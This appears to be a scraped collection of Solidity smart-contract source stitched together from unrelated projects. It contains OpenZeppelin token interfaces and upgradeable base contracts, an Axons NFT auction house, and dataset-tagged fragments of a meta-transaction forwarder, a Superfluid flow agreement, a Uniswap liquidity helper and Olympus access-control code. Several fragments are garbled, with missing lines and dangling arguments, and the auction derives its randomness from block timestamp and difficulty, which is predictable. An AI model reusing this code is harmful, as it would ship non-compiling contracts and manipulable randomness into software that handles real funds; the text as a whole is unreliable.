`spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/IAxonsToken.sol /// @title Interface for AxonsToken pragma solidity ^0.8.6; interface IAxonsToken is IERC20 { event Claimed(address account, uint256 amount); function generateReward(address recipient, uint256 amount) external; function isGenesisAddress(address addressToCheck) external view returns(bool); function burn(uint256 amount) external; } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: contracts/interfaces/IAxons.sol /// @title Interface for Axons pragma solidity ^0.8.6; interface IAxons is IERC721Enumerable { event AxonCreated(uint256 indexed tokenId); event AxonBurned(uint256 indexed tokenId); event MinterUpdated(address minter); event MinterLocked(); function mint(uint256 axonId) external returns (uint256); function burn(uint256 tokenId) external; function dataURI(uint256 tokenId) external returns (string memory); function setMinter(address minter) external; function lockMinter() external; } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File: @openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // File: @openzeppelin/contracts/utils/math/SafeMath.sol pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/AxonsAuctionHouse.sol /// @title The Axons auction house // LICENSE // AxonsAuctionHouse.sol is a modified version of NounsAuctionHouse.sol: // https://raw.githubusercontent.com/nounsDAO/nouns-monorepo/master/packages/nouns-contracts/contracts/NounsAuctionHouse.sol // // AuctionHouse.sol source code Copyright Zora licensed under the GPL-3.0 license. // With modifications by Axons. pragma solidity ^0.8.6; contract AxonsAuctionHouse is IAxonsAuctionHouse, PausableUpgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable { using SafeMath for uint256; // The Axons ERC721 token contract IAxons public axons; // The voting contract IAxonsVoting public axonsVoting; // The address of the AxonToken contract address public axonsToken; // The minimum amount of time left in an auction after a new bid is created uint256 public timeBuffer; // The minimum price accepted in an auction uint256 public reservePrice; // The minimum percentage difference between the last bid amount and the current bid uint8 public minBidIncrementPercentage; // The duration of a single auction uint256 public duration; // Auction counter uint256 public auctionCounter = 0; // The active auction IAxonsAuctionHouse.Auction public auction; /** * @notice Initialize the auction house and base contracts, * populate configuration values, and pause the contract. * @dev This function can only be called once. */ function initialize( IAxons _axons, IAxonsVoting _axonsVoting, address _axonsToken, uint256 _timeBuffer, uint256 _reservePrice, uint8 _minBidIncrementPercentage, uint256 _duration ) external initializer { __Pausable_init(); __ReentrancyGuard_init(); __Ownable_init(); _pause(); axons = _axons; axonsToken = _axonsToken; axonsVoting = _axonsVoting; timeBuffer = _timeBuffer; reservePrice = _reservePrice * 10**18; minBidIncrementPercentage = _minBidIncrementPercentage; duration = _duration; } function currentAuction() external view override returns(IAxonsAuctionHouse.Auction memory) { IAxonsAuctionHouse.Auction memory _auction = auction; return _auction; } /** * @dev Generates a random axon number * @param _a The address to be used within the hash. */ function randomAxonNumber( address _a, uint256 _c ) internal view returns (uint256) { uint256 _rand = uint256( uint256( keccak256( abi.encodePacked( block.timestamp, block.difficulty, _a, _c ) ) ) % 900719925474000 ); return _rand; } /** * @notice Settle the current auction, mint a new Axon, and put it up for auction. */ function settleCurrentAndCreateNewAuction() external override nonReentrant whenNotPaused { IAxonsAuctionHouse.Auction memory _auction = auction; _settleAuction(); uint256 nextAxonNumber = IAxonsVoting(axonsVoting).currentWinnerForAuction(_auction.counter); _createAuction(nextAxonNumber); IAxonsVoting(axonsVoting).setupVoting(_auction.counter+1); } /** * @notice Settle the current auction. * @dev This function can only be called when the contract is paused. */ function settleAuction() external override whenPaused nonReentrant onlyOwner { _settleAuction(); } /** * @notice Create a bid for an Axon, with a given amount. * @dev This contract only accepts payment in $AXON. */ function createBid(uint256 axonId, uint256 amount) external override nonReentrant { IAxonsAuctionHouse.Auction memory _auction = auction; require(_auction.axonId == axonId, 'Axon not up for auction'); require(block.timestamp < _auction.endTime, 'Auction expired'); require(amount >= reservePrice, 'Must send at least reservePrice'); require( amount >= _auction.amount + ((_auction.amount * minBidIncrementPercentage) / 100), 'Must send more than last bid by minBidIncrementPercentage amount' ); address payable lastBidder = _auction.bidder; // Refund the last bidder, if applicable if (lastBidder != address(0)) { IAxonsToken(axonsToken).transferFrom(address(this), lastBidder, _auction.amount); } // We must check the balance that was actually transferred to the auction, // as some tokens impose a transfer fee and would not actually transfer the // full amount to the market, resulting in potentally locked funds IAxonsToken token = IAxonsToken(axonsToken); uint256 beforeBalance = token.balanceOf(address(this)); token.transferFrom(msg.sender, address(this), amount); uint256 afterBalance = token.balanceOf(address(this)); require(beforeBalance.add(amount) == afterBalance, "Token transfer call did not transfer expected amount"); auction.amount = amount; auction.bidder = payable(msg.sender); // Extend the auction if the bid was received within `timeBuffer` of the auction end time bool extended = _auction.endTime - block.timestamp < timeBuffer; if (extended) { auction.endTime = _auction.endTime = block.timestamp + timeBuffer; } emit AuctionBid(_auction.axonId, msg.sender, amount, extended); if (extended) { emit AuctionExtended(_auction.axonId, _auction.endTime); } } /** * @notice Pause the Axons auction house. * @dev This function can only be called by the owner when the * contract is unpaused. While no new auctions can be started when paused, * anyone can settle an ongoing auction. */ function pause() external override onlyOwner { _pause(); } /** * @notice Unpause the Axons auction house. * @dev This function can only be called by the owner when the * contract is paused. If required, this function will start a new auction. */ function unpause() external override onlyOwner { _unpause(); if (auction.startTime == 0 || auction.settled) { _createAuction(randomAxonNumber(address(this),69420)); IAxonsAuctionHouse.Auction memory _auction = auction; IAxonsVoting(axonsVoting).setupVoting(_auction.counter); } } /** * @notice Set the auction time buffer. * @dev Only callable by the owner. */ function setTimeBuffer(uint256 _timeBuffer) external override onlyOwner { timeBuffer = _timeBuffer; emit AuctionTimeBufferUpdated(_timeBuffer); } /** * @notice Set the auction reserve price. * @dev Only callable by the owner. */ function setReservePrice(uint256 _reservePrice) external override onlyOwner { reservePrice = _reservePrice; emit AuctionReservePriceUpdated(_reservePrice); } /** * @notice Set the auction minimum bid increment percentage. * @dev Only callable by the owner. */ function setMinBidIncrementPercentage(uint8 _minBidIncrementPercentage) external override onlyOwner { minBidIncrementPercentage = _minBidIncrementPercentage; emit AuctionMinBidIncrementPercentageUpdated(_minBidIncrementPercentage); } /** * @notice Create an auction. * @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event. * If the mint reverts, the minter was updated without pausing this contract first. To remedy this, * catch the revert and pause this contract. */ function _createAuction(uint256 axonId) internal { try axons.mint(axonId) returns (uint256 tokenId) { uint256 startTime = block.timestamp; uint256 endTime = startTime + duration; auction = Auction({ axonId: tokenId, amount: 0, startTime: startTime, endTime: endTime, bidder: payable(0), settled: false, counter: auctionCounter }); emit AuctionCreated(axonId, startTime, endTime); auctionCounter++; } catch Error(string memory) { _pause(); } } /** * @notice Settle an auction, finalizing the bid and paying out to the owner. * @dev If there are no bids, the Axon is burned. */ function _settleAuction() internal { IAxonsAuctionHouse.Auction memory _auction = auction; require(_auction.startTime != 0, "Auction hasn't begun"); require(!_auction.settled, 'Auction has already been settled'); require(block.timestamp >= _auction.endTime, "Auction hasn't completed"); auction.settled = true; if (_auction.bidder == address(0)) { axons.burn(_auction.axonId); } else { axons.transferFrom(address(this), _auction.bidder, _auction.axonId); } if (_auction.amount > 0) { IAxonsToken(axonsToken).transferFrom(address(this), msg.sender, 1 * 10**18); IAxonsToken(axonsToken).burn(_auction.amount - (1 * 10**18)); } emit AuctionSettled(_auction.axonId, _auction.bidder, _auction.amount); } }
File: contracts/interfaces/IAxonsAuctionHouse.sol Interface for Axons Auction Houses
interface IAxonsAuctionHouse { function currentWinnerForAuction(uint256 counter) external view returns (uint256); function setupVoting(uint256 auctionCounter) external; } pragma solidity ^0.8.6; struct Auction { uint256 axonId; uint256 amount; uint256 startTime; uint256 endTime; address payable bidder; bool settled; uint256 counter; } event AuctionCreated(uint256 indexed axonId, uint256 startTime, uint256 endTime); event AuctionBid(uint256 indexed axonId, address sender, uint256 value, bool extended); event AuctionExtended(uint256 indexed axonId, uint256 endTime); event AuctionSettled(uint256 indexed axonId, address winner, uint256 amount); event AuctionTimeBufferUpdated(uint256 timeBuffer); event AuctionReservePriceUpdated(uint256 reservePrice); event AuctionMinBidIncrementPercentageUpdated(uint256 minBidIncrementPercentage); }
7,929,155
./full_match/8453/0x000000000066b3aED7Ae8263588dA67fF381FfCa/sources/contracts/fwd/EssentialForwarder.sol
For standard transactions that verify NFT ownership, call this view function with the ERC721ForwardRequest representation of the transaction to be submitted. You'll receive a revert with data useful for fetching a trusted proof per EIP-3668. Per EIP-3668, a valid signature will cause a revert with useful error params. If the signature is valid for the request and state, the client will receive the OffchainLookup error with parameters suitable for an https call to a JSON RPC server.
function preflightNative(IForwardRequest.ERC721ForwardRequest calldata req) public view { revert OffchainLookup( address(this), urls, abi.encode( req.from, req.authorizer, _nonces[req.from], req.nftChainId, req.nftContract, req.nftTokenId, block.chainid, block.timestamp ), this.executeWithProofNative.selector, abi.encode(block.timestamp, req) ); }
11,555,875
./full_match/11155111/0xf1f1885bA386d1AD8941579b317fFaC7fA86EB7B/sources/project_/contracts/agreements/ConstantFlowAgreementV1.sol
change flow between sender and receiver with new flow rate NOTE: - leaving owed deposit unchanged for later adjustment - depositDelta output is always clipped (see _clipDepositNumberRoundingUp)/ STEP 1: calculate deposit required for the flow rounding up the number for app credit too CAVEAT: - Now app could create a flow rate that is slightly higher than the incoming flow rate. - The app may be jailed due to negative balance if it does this without its own balance. Rule of thumbs: - App can use app credit to create a flow that has the same incoming flow rate - But due to deposit clipping, there is no guarantee that the sum of the out going flow deposit can be covered by the credit always. - It is advisable for the app to check the credit usages carefully, and if possible Always have some its own balances to cover the deposits. preliminary calc of new deposit required, may be changed later in step 2. used as a variable holding the new deposit amount in the meantime calc depositDelta and newDeposit with minimum deposit rule applied
function _changeFlow( uint256 currentTimestamp, ISuperfluidToken appCreditToken, ISuperfluidToken token, FlowParams memory flowParams, FlowData memory oldFlowData ) private returns ( int256 depositDelta, uint256 appCreditBase, FlowData memory newFlowData ) { uint256 newDeposit; uint256 minimumDeposit; { (uint256 liquidationPeriod, ) = _decode3PsData(token); ISuperfluidGovernance gov = ISuperfluidGovernance(ISuperfluid(msg.sender).getGovernance()); minimumDeposit = gov.getConfigAsUint256( ISuperfluid(msg.sender), token, SUPERTOKEN_MINIMUM_DEPOSIT_KEY); appCreditBase = _calculateDeposit(flowParams.flowRate, liquidationPeriod); } - oldFlowData.deposit.toInt256() + oldFlowData.owedDeposit.toInt256(); if (newDeposit < minimumDeposit && flowParams.flowRate > 0) { depositDelta = minimumDeposit.toInt256() - oldFlowData.deposit.toInt256() + oldFlowData.owedDeposit.toInt256(); newDeposit = minimumDeposit; } appCreditToken != token) { appCreditBase = 0; } flowParams.flowRate > 0 ? currentTimestamp : 0, flowParams.flowRate, newDeposit, ); token.updateAgreementData(flowParams.flowId, _encodeFlowData(newFlowData)); }
3,797,149
./full_match/56/0xf08065965FEF74e6DE05aDf4343669592f400420/sources/project_/contracts/Four.sol
approve token transfer to cover all possible scenarios add the liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, address(0), block.timestamp ); }
3,225,864
// SPDX-License-Identifier: AGPL-3.0-or-later // File: interfaces/IOlympusAuthority.sol pragma solidity =0.7.5; interface IOlympusAuthority { /* ========== EVENTS ========== */ event GovernorPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GuardianPushed(address indexed from, address indexed to, bool _effectiveImmediately); event PolicyPushed(address indexed from, address indexed to, bool _effectiveImmediately); event VaultPushed(address indexed from, address indexed to, bool _effectiveImmediately); event GovernorPulled(address indexed from, address indexed to); event GuardianPulled(address indexed from, address indexed to); event PolicyPulled(address indexed from, address indexed to); event VaultPulled(address indexed from, address indexed to); /* ========== VIEW ========== */ function governor() external view returns (address); function guardian() external view returns (address); function policy() external view returns (address); function vault() external view returns (address); } // File: types/OlympusAccessControlled.sol pragma solidity >=0.7.5; abstract contract OlympusAccessControlled { /* ========== EVENTS ========== */ event AuthorityUpdated(IOlympusAuthority indexed authority); string UNAUTHORIZED = "UNAUTHORIZED"; // save gas /* ========== STATE VARIABLES ========== */ IOlympusAuthority public authority; /* ========== Constructor ========== */ constructor(IOlympusAuthority _authority) { authority = _authority; emit AuthorityUpdated(_authority); } /* ========== MODIFIERS ========== */ modifier onlyGovernor() { require(msg.sender == authority.governor(), UNAUTHORIZED); _; } modifier onlyGuardian() { require(msg.sender == authority.guardian(), UNAUTHORIZED); _; } modifier onlyPolicy() { require(msg.sender == authority.policy(), UNAUTHORIZED); _; } modifier onlyVault() { require(msg.sender == authority.vault(), UNAUTHORIZED); _; } /* ========== GOV ONLY ========== */ function setAuthority(IOlympusAuthority _newAuthority) external onlyGovernor { authority = _newAuthority; emit AuthorityUpdated(_newAuthority); } } // File: interfaces/IDistributor.sol pragma solidity >=0.7.5; interface IDistributor { function distribute() external; function bounty() external view returns (uint256); function retrieveBounty() external returns (uint256); function nextRewardAt(uint256 _rate) external view returns (uint256); function nextRewardFor(address _recipient) external view returns (uint256); function setBounty(uint256 _bounty) external; function addRecipient(address _recipient, uint256 _rewardRate) external; function removeRecipient(uint256 _index) external; function setAdjustment( uint256 _index, bool _add, uint256 _rate, uint256 _target ) external; } // File: interfaces/IERC20.sol pragma solidity >=0.7.5; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 